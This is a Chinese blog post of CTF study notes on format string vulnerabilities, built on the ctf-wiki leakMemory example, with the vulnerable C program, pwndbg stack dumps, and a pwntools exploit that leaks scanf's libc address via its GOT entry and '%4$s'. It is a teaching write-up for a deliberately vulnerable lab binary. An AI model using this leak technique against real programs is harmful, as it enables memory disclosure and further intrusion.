格式化字符串

pwn

格式化字符串

这个题目是ctfwiki上的

c代码如下:


#include <stdio.h>
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}

(突然发现腾讯文档居然还支持代码好强啊

我们编译一下:

gcc -m32 -fno-stack-protector -no-pie -o leakMemory  leakMemory.c -g

把保护措施都关掉了

 % checksec leakMemory   
[*] '/home/abc/Desktop/pwn/leakMemory/leakMemory'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

先看一下几个payload

pwndbg> b printf
Breakpoint 1 at 0x8048330
pwndbg> r
Starting program: /home/abc/Desktop/pwn/leakMemory/leakMemory 
%08x.%08x.%08x

Breakpoint 1, __printf (format=0x8048593 "%08x.%08x.%08x.%s\n") at printf.c:28
28printf.c: No such file or directory.

在printf处下断点
此时栈上的布局如下

00:0000│ esp  0xffffcf9c —▸ 0x80484ea (main+100) ◂— add    esp, 0x20
01:0004│      0xffffcfa0 —▸ 0x8048593 ◂— and    eax, 0x2e783830 /* '%08x.%08x.%08x.%s\n' */
02:0008│      0xffffcfa4 ◂— 0x1
03:000c│      0xffffcfa8 ◂— 0x22222222 ('""""')
04:0010│      0xffffcfac ◂— 0xffffffff
05:0014│      0xffffcfb0 —▸ 0xffffcfc0 ◂— '%08x.%08x.%08x'

continue一下:

pwndbg> c
Continuing.
00000001.22222222.ffffffff.%08x.%08x.%08x

Breakpoint 1, __printf (format=0xffffcfc0 "%08x.%08x.%08x") at printf.c:28
28in printf.c

输出了信息的同时, 命中第二个断点

此时栈上的布局如下:

00:0000│ esp  0xffffcfac —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
01:0004│      0xffffcfb0 —▸ 0xffffcfc0 ◂— '%08x.%08x.%08x'
... ↓
03:000c│      0xffffcfb8 —▸ 0xf7fcf410 —▸ 0x8048278 ◂— inc    edi /* 'GLIBC_2.0' */
04:0010│      0xffffcfbc —▸ 0x804849d (main+23) ◂— add    ebx, 0x1b63
05:0014│ eax  0xffffcfc0 ◂— '%08x.%08x.%08x'
06:0018│      0xffffcfc4 ◂— '.%08x.%08x'
07:001c│      0xffffcfc8 ◂— 'x.%08x'

此时printf函数会把格式化字符串之后的栈上的信息当作参数打印出来:
contiue一下

pwndbg> c
Continuing.
ffffcfc0.f7fcf410.0804849d[Inferior 1 (process 4975) exited normally]

之前栈上的信息显示的不全,栈的内存如下:

pwndbg> x/20x 0xffffcfb0
0xffffcfb0:0xffffcfc0 0xffffcfc0 0xf7fcf410 0x0804849d
0xffffcfc0:0x78383025 0x3830252e 0x30252e78 0x00007838
0xffffcfd0:0x00000000 0x00c30000 0x00000000 0xf7ffd000
0xffffcfe0:0x00000000 0x00000000 0x00000000 0x6f984f00
0xffffcff0:0x00000009 0xffffd2a4 0xf7e094a9 0xf7fb4748

0xffffcfb0 是格式化字符串的地址, 我们看到此时printf函数将0xffffcfc0 0xf7fcf410 0x0804849d
都打印出来了, 也就是格式化字符串之后的三个位置的信息

我们通过这种方式泄露栈的信息,但是也可以直接去取得栈中被视为第n+1个参数的值
至于为什么是第n+1, 这是因为格式化字符串是第一个参数

比如 通过 %3$x 我们可以泄露栈上被视为第4个参数的值

栈布局如下:

00:0000│ esp  0xffffcfac —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
01:0004│      0xffffcfb0 —▸ 0xffffcfc0 ◂— '%3$x'
... ↓
03:000c│      0xffffcfb8 —▸ 0xf7fcf410 —▸ 0x8048278 ◂— inc    edi /* 'GLIBC_2.0' */
04:0010│      0xffffcfbc —▸ 0x804849d (main+23) ◂— add    ebx, 0x1b63
05:0014│ eax  0xffffcfc0 ◂— '%3$x'
06:0018│      0xffffcfc4 ◂— 0x0
07:001c│      0xffffcfc8 —▸ 0xf7ffd940 ◂— 0x0

同样看不清, 还是直接打印内存信息吧

pwndbg> x/20x 0xffffcfb0
0xffffcfb0:0xffffcfc0 0xffffcfc0 0xf7fcf410 0x0804849d
0xffffcfc0:0x78243325 0x00000000 0xf7ffd940 0x000000c2
0xffffcfd0:0x00000000 0x00c30000 0x00000000 0xf7ffd000
0xffffcfe0:0x00000000 0x00000000 0x00000000 0xd6a57700
0xffffcff0:0x00000009 0xffffd2a4 0xf7e094a9 0xf7fb4748

猜猜这时候打印的信息是啥?
答案是栈上被视为第四个参数的信息: 0x0804849d

同样的我们还可以通过%s来得到字符串的信息

栈布局如下:

00:0000│ esp  0xffffcfac —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
01:0004│      0xffffcfb0 —▸ 0xffffcfc0 ◂— 0x7325 /* '%s' */
... ↓
03:000c│      0xffffcfb8 —▸ 0xf7fcf410 —▸ 0x8048278 ◂— inc    edi /* 'GLIBC_2.0' */
04:0010│      0xffffcfbc —▸ 0x804849d (main+23) ◂— add    ebx, 0x1b63
05:0014│ eax  0xffffcfc0 ◂— 0x7325 /* '%s' */
06:0018│      0xffffcfc4 ◂— 0x1
07:001c│      0xffffcfc8 —▸ 0xf7ffd940 ◂— 0x0

还是看不清,直接看内存吧(md 垃圾pwndbg)

pwndbg> x/20x 0xffffcfb0
0xffffcfb0:0xffffcfc0 0xffffcfc0 0xf7fcf410 0x0804849d
0xffffcfc0:0x00007325 0x00000001 0xf7ffd940 0x000000c2
0xffffcfd0:0x00000000 0x00c30000 0x00000000 0xf7ffd000
0xffffcfe0:0x00000000 0x00000000 0x00000000 0xf1ae2900
0xffffcff0:0x00000009 0xffffd2a4 0xf7e094a9 0xf7fb4748

这个时候会直接将 0xffffcfc0 对应的字符串打印出来
结果自然就是 %s了

如果我们输入%2$s, 这个时候就很有趣了, 按照道理程序会将 0xf7fcf410 对应地址的当作字符串打印出来, 可是如果这个地址无效呢?
我自己尝试的结果是直接退出了,什么都没有打印出来emm

这时候如果我们指定一个合法的地址, 比如got表中某个函数的地址这就很神奇了

exp如下:

from pwn import *
import time
sh = process('./leakMemory')

context.log_level = 'debug'
leakmemory = ELF('./leakMemory')

__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']

print hex(__isoc99_scanf_got)

payload = p32(__isoc99_scanf_got) + '%4$s'

print payload

payload1 = '%4$s'
payload2 = 'AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p'
gdb.attach(sh)
#time.sleep(1)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
#print sh.recvuntil('%4$s\n')
#print '\n'

print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got

sh.interactive()

我们运行这个exp
在pwndbg中下断点

运行到第二个printf的时候

───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp  0xffa3bdfc —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
01:0004│      0xffa3be00 —▸ 0xffa3be10 —▸ 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —▸ 0xf7df2bb0 (__isoc99_scanf) ◂— push   ebp
... ↓
03:000c│      0xffa3be08 —▸ 0xf7f85410 —▸ 0x8048278 ◂— inc    edi /* 'GLIBC_2.0' */
04:0010│      0xffa3be0c —▸ 0x804849d (main+23) ◂— add    ebx, 0x1b63
05:0014│ eax  0xffa3be10 —▸ 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —▸ 0xf7df2bb0 (__isoc99_scanf) ◂— push   ebp
06:0018│      0xffa3be14 ◂— '%4$s'
07:001c│      0xffa3be18 —▸ 0xf7fb3900 (catch_hook) ◂— 0x0

另一边

[+] Waiting for debugger: Done
[DEBUG] Sent 0x9 bytes:
    00000000  14 a0 04 08  25 34 24 73  0a                        │····│%4$s│·│
    00000009
[DEBUG] Received 0x24 bytes:
    00000000  30 30 30 30  30 30 30 31  2e 32 32 32  32 32 32 32  │0000│0001│.222│2222│
    00000010  32 2e 66 66  66 66 66 66  66 66 2e 14  a0 04 08 25  │2.ff│ffff│ff.·│···%│
    00000020  34 24 73 0a                                         │4$s·││
    00000024

continue

[DEBUG] Received 0x8 bytes:
    00000000  14 a0 04 08  b0 2b df f7                            │····│·+··││
    00000008
0xf7df2bb0
[*] Switching to interactive mode
[*] Process './leakMemory' stopped with exit code 0 (pid 5064)
[*] Got EOF while reading in interactive

这个时候我们就得到了scanf函数的地址了
ok 还有几个地方没弄明白之后再写

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值